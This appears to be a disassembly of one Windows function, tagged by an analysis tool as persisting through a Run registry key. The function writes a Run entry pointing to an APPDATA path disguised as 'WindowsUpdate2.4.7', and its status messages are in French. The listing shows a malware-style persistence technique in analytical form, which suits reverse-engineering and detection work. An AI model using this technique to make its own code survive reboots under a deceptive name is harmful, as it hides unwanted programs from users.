Function at 0x140018f91
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x1400349f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [0x140062040]
xor rax, rbp
mov qword [rbp + 0x190], rax
lea rcx, [0x14006f13b]
call fcn.1400194d2
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0x28], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140034baa
mov r8, qword [rbp + 0x1c0]
lea rdx, str._APPDATA_localWindowsUpdate2.4.7_
lea rcx, [rbp + 0x68]
call fcn.140019667
nop
lea rcx, [rbp + 0x68]
call fcn.140018393
lea rax, [rax + rax + 2]
mov dword [rbp + 0x174], eax
lea rcx, [rbp + 0x68]
call fcn.1400186f9
mov qword [rbp + 0x178], rax
mov rcx, qword [rbp + 0x1c0]
call fcn.1400186f9
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x188], rax
mov eax, dword [rbp + 0x174]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x178]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x140034b66
lea rdx, str.Erreur_lors_de_lajout_au_registre_:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001825d
mov qword [rbp + 0x178], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x180], eax
mov edx, dword [rbp + 0x180]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0x188], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140034b94
lea rdx, str.Ajout_au_registre_russi.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001825d
mov qword [rbp + 0x178], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x68]
call fcn.1400191bc
jmp 0x140034bfe
lea rdx, str.Impossible_douvrir_la_cl_du_registre_:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001825d
mov qword [rbp + 0x178], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x180], eax
mov edx, dword [rbp + 0x180]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov qword [rbp + 0x188], rax
lea rdx, [0x1400180d2]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x30]
lea rdx, [0x140052be0]
call fcn.14001911c
mov rcx, qword [rbp + 0x190]
xor rcx, rbp
call fcn.140018a00
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret